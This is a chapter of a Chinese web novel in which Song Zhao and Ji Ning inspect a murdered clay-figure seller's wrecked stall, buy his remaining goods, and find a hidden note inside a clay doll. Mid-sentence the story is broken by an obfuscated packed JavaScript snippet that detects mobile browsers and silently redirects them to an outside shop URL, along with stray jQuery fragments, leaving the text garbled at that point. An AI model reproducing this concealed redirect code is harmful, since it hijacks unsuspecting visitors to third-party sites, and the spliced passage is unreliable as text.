“从现在起,你一步都别离开我眼皮子底下。”
季柠抬眼看见他那副神色,便知此刻不是同他争这些的时候。鹿鸣坡的人既然能在一夜之间把那位老者灭口,便说明他们昨夜那张飞鹰告示已不是试探,而是明晃晃地告诉他们——你们在查,我们也在看。到了这一步,谁先乱,谁便要吃亏。
宋昭先叫小二送了热粥和几样清口小菜进来。季柠原本心里还压着老者的死,实在没什么胃口,只低声说了一句“我不饿”。谁知宋昭眼也不抬,直接把那碗粥推到她面前,语气平得很:“两口也得吃。待会儿若真看见什么脏东西,你别又跟上回在礼部院里似的,站不稳还嘴硬。”
这话说得冷,里头却是实打实的不容置疑。季柠被他堵得一噎,心里虽还有点别扭,终究还是端起碗慢慢喝了几口。热粥顺着喉咙滑下去,胃里总算有了点暖意。她一边喝,一边忍不住想,这人有时真像天生就拿捏人心思,明明是怕她空着肚子去看死人难受,偏偏能说得像在嫌她麻烦。
等她把碗放下,宋昭已将外衣披好,又顺手把她的斗篷拎过来,连系带都替她系稳了。他指尖掠过她领口,淡淡道:“走了。”
清晨的鹿鸣坡比昨日更冷,也更空。
大多数铺面还没真正开张,只有几家卖早食和热酒的摊子先支了起来。街上却不算太静,三三两两的人都往昨日那老者摆摊的地方凑,像是边地小镇上谁死了,消息总会顺着街缝和风声传得比什么都快。只是他们说话时总压着嗓子,脸上也不见多少真正的惋惜,更多的是一种混着忌惮和避让的麻木。
宋昭和季柠并肩走着,步子不快不慢,像一对真从客栈里出来、准备顺道去瞧瞧昨夜那场热闹的寻常夫妻。可只有季柠自己知道,她从出门起便一直被他不着痕迹地护在内侧。街上偶有骑马的、担货的和横着走路的壮汉经过,宋昭只消往外侧略略偏半步,便能把她整个挡进自己身前的影子里。
卖泥人的地方仍在街角,只是摊子乱了。
昨儿那张小小的木桌还在,桌角却已经裂了一道缝,地上散着碎掉的泥人和一地被人踩脏的草纸。摊后原本支着的一片旧布篷塌了半边,被人随手拎起来搭在木架上,像是昨夜混乱之中也没人真有心思替一个卖泥人的老头收拾得像样。尸首自然已被抬走了,可地上仍隐约留着一片发暗的痕迹,被草灰和泥水半掩着,离得近了,仍能闻见一点没散尽的血气。
摊边站着几个腰间挂刀的男人,衣裳敞着半边,腕上都露着飞鹰纹样。领头的是个脸生横肉的中年人,穿一件深褐色短袄,眼皮低垂,嘴角却总像挂着一点不耐烦的冷笑,正同几个围观的人说着什么,语气里满是敷衍。
“老头子年纪大了,夜里酒喝多了,一头栽在摊后头,谁也救不回来。你们若没事,便都散了。江家会替他收尸,不劳各位操心。”
这说辞说得太顺,顺得像一早便备好了。可惜围观的人虽不敢顶嘴,脸上的神色却显然不怎么信。只是信不信不重要,鹿鸣坡这地方,谁腕上纹着飞鹰,谁说的话便更像话。
季柠刚皱了皱眉,宋昭已不动声色地先走了一步,把她挡在了半个身后。她侧头看他,只见他脸上没有多余表情,目光却已将摊前摊后一并扫了一遍。那种看法与旁人不同,不像是在看死了一个卖泥人的老头,而像是在看一处刚出过事、来不及被收拾干净的现场。摊后倒下去的竹架、地上被拖行过的细痕、那片发暗血迹落的位置,还有碎泥人散开的方向,都被他一眼眼收了进去。
那江家的人也注意到了他们,目光一转,先在季柠身上停了停,随即又落到宋昭脸上。大概是昨日那场街头问话还没完全忘,那人眼底先是掠过一点不耐,随即竟带出几分若有若无的警惕来:“又是你们?”
宋昭并不接他的挑衅,只淡淡道:“昨儿内人买了老头的泥人,回去后念着还想再挑些。今日路过,才知人死了。”
这话说得平,既像真在惋惜,又像只是在陈述一件与己无关的倒霉事。那人眯了眯眼,显然还记得昨日这对外乡夫妻在摊前问过纹样,心里未必全然放松。可他看了看季柠,又看了看宋昭,到底还是没在明面上发作,只冷声道:“人都死了,泥人还有什么好挑的。”
“没有好的,剩下的也行。”宋昭目光落在摊上散乱的一堆泥塑上,语气依旧淡淡,“我夫人喜欢这些,不想空手而归。”
这句话说出来时,竟真像极了一个懒得同人多费口舌、只想把自家人哄好便走的男人。那份理所当然的偏护与随手就要把整摊东西一并买走的口吻,反倒叫旁人一时不知道该从何处驳起。季柠站在他身后,还未来得及多想,便见宋昭已直接从袖中摸出一锭银子,随手丢到那张裂开的旧木桌上。
银锭落下时,发出清脆的一声。
“这些,我都要了。”
那人看着桌上的银子,脸色明显一僵。卖泥人的摊子本就不值什么钱,这样一锭银,足够把整张桌子连同那几筐烂泥都买下来。更何况宋昭说“我都要了”时,语气里连商量都懒得有。那种不动声色的强势,叫人一时很难把他仅仅当作一个寻常过路商人。
旁边围观的百姓也都愣了愣,目光在那锭银与宋昭身上来回转。有人眼里明显生出一点快意,像是平日里被江家这帮人压久了,忽然看见有人敢这样当面不买账,心里难免痛快。可痛快归痛快,谁也不敢真笑出声。
那江家的人脸色难看了片刻,最终还是抬手示意手下把散在地上的泥人、木模和剩下那几包草纸一并收起,丢进一只破旧木箱里,算是卖给了他们。只是临了仍忍不住冷冷看了宋昭一眼:“你们外乡人,倒真舍得。”
宋昭没理,只抬手把那只木箱接过,仿佛这样一桩掷银换来整摊旧物的事,根本不值得他多费半句口舌。
待走出一段路,拐进一条较僻静的小巷后,季柠才终于低声问道:“你方才看出来什么了?”
宋昭一手拎着那只看起来颇有些寒碜的旧箱,另一手却仍空得很稳,连步子都没乱:“老头不是摔死的。摊后那片血不对,位置太靠里,像是人先在后头被按住,后又被拖过两步才倒。桌角裂口也不是人摔时带出来的,更像有人掀桌时用力过猛撞的。至于那些碎泥人——”
他停了停,低头看了一眼箱子里胡乱堆着的泥塑碎片,眼神更沉了些。
“有人在找东西。”
季柠心里一沉。
“你是说,他们昨夜不只是灭口,还翻了他的摊?”
“嗯。”宋昭道,“若只是杀人,不必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617458|204238||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
连泥人都砸。可若怀疑他把什么藏在这些泥塑里,自然要一个个砸开来看。”
说到这里,他偏头看了她一眼,声音低下去些:“所以我们昨日拿到那张飞鹰告示,多半坏了他们的事。”
季柠抿了抿唇。她原本就觉得那老者死得太快,如今听他这样一说,便更觉心头发冷。那老者昨日在摊前不过多嘴了几句,夜里便送了命,说明鹿鸣坡盯人的眼睛比他们想的还要多。可也正因如此,方才那一锭银子买来的这一箱破泥人和旧纸,便更像是从死人手里抢下来的一点残余东西。
回到客栈后,两人将门窗关严,箱子搬到桌上,开始一点点翻。
这事做起来并不好看。泥人被砸碎后,里头的空心与实心混在一处,泥屑掉得桌上地上都是。那些木模有些已经发霉,摸上去手感发潮,像放久了的旧骨头。宋昭将刀横放,用刀鞘将几个还算完整的泥人底座轻轻敲开,再把内里的空腔抖净。季柠则蹲在桌旁,将那些包泥人的草纸一张张摊平,先看有没有字,再看有没有不同的折痕和记号。
灯下尘土飞扬,鼻尖一股泥腥和旧纸味,叫人几乎有种自己不是在客栈里,而又回到了凶礼司乙字号库的错觉。
翻到一半时,季柠忽然觉得不对。
“等等。”她抬起头,“昨日那老者递给我们的那对泥娃,和这些剩下的,好像不是同一批。”
宋昭停了手,目光落到她手边那一红一青两个小泥人上。
季柠把那对小娃娃放到灯下,先看泥色,又看底座与描眼睛的手法。其余那些摊上的泥人,多半捏得粗,底座厚实,像边地寻常摊贩哄孩子玩的粗货;可这对不同,泥更细,底座中空,连衣角褶子都捏得仔细些,尤其那一点眼睛,虽简简单单只是一点墨,却比旁的更活。
“这对是他特地挑给我们的。”她低声道。
宋昭闻言,顺手接过那只穿青衫的小娃娃,放在掌心掂了掂,眉心微微一动:“分量不对。”
话音才落,他已拿起桌边那把小刀,沿着泥娃底座极细的一道接缝轻轻一挑。那接缝原本藏得极好,若不是在灯下反复看,根本瞧不出来。刀尖进去时发出一点极轻的脆响,随即,泥娃底座竟被撬开了一线。
季柠屏住了呼吸。
宋昭把那只泥娃翻过来,指尖一拨,里头果然掉出一小团用蜡纸裹得严严实实的东西。那东西不过指节长短,纸上还沾着一点未干透的泥印,像是老者当时匆忙塞进去的,连边角都没来得及压平。
宋昭没有急着打开,只先看了她一眼。
灯火在他眼里跳了一下,映得那神色比平日更沉。不是犹豫,也不是惊喜,而是一种见多了局中局之后的冷静,像早知道这老人既敢冒死递纸,便不会只递一张告示这么简单。
“看来我们没白买这一摊。”他低声道,随即将那团蜡纸递给她,“你来开。”
季柠接过时,指尖竟有些发凉。
她把蜡纸一层层剥开,里头竟是一截折得极细的薄纸条。纸张不大,展开之后只两行字,字迹发抖,像是写的人临到最后时手已不稳,却仍拼命压着不肯叫它乱得看不清。
她低头一看,呼吸顿时一窒。
纸上写着——
北坡后井下。